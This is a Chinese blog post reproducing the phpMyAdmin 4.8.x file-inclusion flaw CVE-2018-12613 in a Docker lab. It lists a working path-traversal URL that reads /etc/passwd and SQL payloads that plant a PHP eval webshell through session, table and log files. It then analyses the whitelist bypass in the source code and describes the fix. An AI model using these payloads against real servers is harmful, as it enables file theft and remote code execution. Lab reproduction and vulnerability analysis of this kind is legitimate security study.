【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)
许久没有在CSDN更新博文了,主要是最近在自己搭建博客网站,已经初具形态,之后大部分博文都会发布在自己的博客网站上,少量的会同步在CSDN,小伙伴们可以去那里看我的一些学习分享呦????
博客传送门:https://www.yyxzz.xyz
本文传送门:https://www.yyxzz.xyz/index.php/2020/09/29/58.html
0x00 简述
由于对index.php中包含文件的target参数未作严格的安全校验,导致可以被利用绕过白名单、黑名单校验从而进行本地文件包含,达到GetShell和命令执行的效果。
要想利用该漏洞,攻击者必须经过身份验证,但在这些情况下除外:
- $ cfg [‘AllowArbitraryServer’] =
true:攻击者可以指定他已经控制的任何主机,并在phpMyAdmin上执行任意代码 - $ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码
影响版本:
- Phpmyadmin 4.8.0
- Phpmyadmin 4.8.0.1
- Phpmyadmin 4.8.1
0x01 漏洞验证
Docker拉取靶场环境,创建靶场环境
浏览器访问8080端口,即可进入phpmyadmin界面,因为靶场用的是config方式的身份验证,因此不需要使用账号密码登录
根据漏洞报告和网上师傅们的复现文章,是在index.php文件处存在本地文件包含漏洞,所以验证代码如下:
http://192.168.11.12:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
成功读取passwd文件
此时可以利用session文件写入phpinfo()木马,首先执行SQL语句:
select '<?php phpinfo() ?>';
然后F12查看此时用户的sessionID,也就是phpmyadmin的Cookie值,此值就是Mysql保存在本地的临时会话文件,使用以下url访问该临时文件,即可执行此前插入的木马语句:
http://192.168.11.12:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_8f36723f61b00567f291c3e7218be400
注意:需要将sess_后的内容改为自己当前的Cookie值
0x02 GetShell
1.利用sesion文件
执行以下SQL命令,同上方法访问临时session文件,即可php命令在网站目录下创建a.php并写入一句话
SELECT `<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>`;
蚁剑成功连接:
可打开虚拟终端和文件系统
2.利用数据库文件(frm表结构文件)
通过创建表并将字段名定义为一句话木马,随后利用包含访问该文件即可:
但是因为我在Docker上搭建的环境,Web和Mysql用的2个主机环境,也就是库站分离,所以无法包含数据库文件,但是可以在Mysql虚拟机里看到木马:
所以和上边session文件一样,只需要将数据库字段名设置为以下语句:
SELECT `<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>`;
然后包含相应的test.frm文件,即可执行命令在网站目录下创建一个a.php的木马
为了测试,我直接在Web主句目录下写入一个frm文件,然后在phpmyadmin中包含该文件:
即可创建a.php,蚁剑连接,成功进入shell环境:
3.利用日志文件
还有就是可以利用日志文件,但是当前环境权限不足,且没有开启日志功能,所以无法复现,具体原理同以上两种方法。
因为是存在本地文件包含,所以如果不是库站分离的情况下,是不需要修改日志路径为网站根路径的,任意路径即可,只需利用包含漏洞包含该日志文件,执行的php命令是在网站根路径创建新的木马文件。
打开general_log:set global general_log = on
执行以下命令:
SELECT `<?php fputs(fopen("/var/www/html/a.php","w"),'<?php eval($_POST[a]);?>');?>`;
包含日志文件,即可在网站根目录生成a.php的一句话木马。
0x03 原理分析
漏洞形成在index.php文件中,通过includes来加载传入的target参数文件,在第55行到59行对target参数做了过滤:
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
非空
是字符串
不能包含index
不在target_blacklist黑名单内
其中target_blacklist内容在50到52行定义:import.php、export.php
第5个校验:通过Core类的checkPageValidity方法校验页面合法性
在源码中找到Core类,导出到本地
在Core类443行找到了checkPageValidity方法:
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
其中,第452行判断传进的page参数是否在whitelist白名单内,如果在内则判断成功,返回True,因此关键点就是让page也就是$_REQUEST[‘target’],即target传入的文件名存在于该白名单whitelist内
该函数中whitelist参数是有默认值的,默认为空,而whitelist白名单又在第445到447行做了判断,判断传入的whitelist参数是否为空,如果为空则将Core类中的$goto_whitelist赋值给whitelist,因为在index.php文件中电泳该方法时并未指定whitelist,因此此时的whitelist内容就是Core类中的goto_whitelist内容
往前找,在Core类的31行定义了$goto_whitelist,如下:
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
所以,只需要将target参数设定在该白名单内,即可成功返回True,但是我们需要做的是给target参数继续传参,达到任意文件包含,所以还需要看下边的?校验。
网上文章都对456行到473行的?校验做了分析,得到的结果是需要对?进行二次URL编码来绕过校验,但是其实由于代码的逻辑是先用?进行截断,取出?前的文件名来做白名单校验,成功直接返回True,不再执行下边urldecode后的?校验,所以其实不需要对?做编码处理,也可以成功执行:
但是还是分析一下原理,这部分代码是这样的:
对page参数做了两次?的截断判断,将?前的文件名做白名单校验,第一次直接截断,失败后进行url解码再次截断判断。
其实也就表示允许target参数带参,如果传入的target参数也是带参的话,同样会将其参数指向的文件包含进来,也正是因为这种机制导致了任意文件包含。
不得不说phpmyadmin开发人员考虑的太周到了,又是主动urldecode,又是可以参数继续传参,多种判断都可以返回True,真是贴心,泪目~????????????
0x04 防御
从用户角度来看的话,那就是升级版本,没得说。
从开发者角度来看,由于未能理解他们可以多次传参的初衷,所以我认为在没有必要的情况下可以将该功能删除,只保留target一次传参,即只能包含白名单内的文件。
而在后续的版本中也证实了这个观点,开发人员给Core的checkPageValidity方法加了一个include参数,用来标志是否开启连续传参:
当include参数为True时,即表示不允许多次传参。
PS:我怎么jiao的这块开发人员写错了呢????,应该是
if (! $include) {
return false;
}
这样就表示传参为True时,可以连续传参包含,传参为False时不允许,这也和$include的初始值相对应。
随便想想~
下一篇: web文件上传大小限制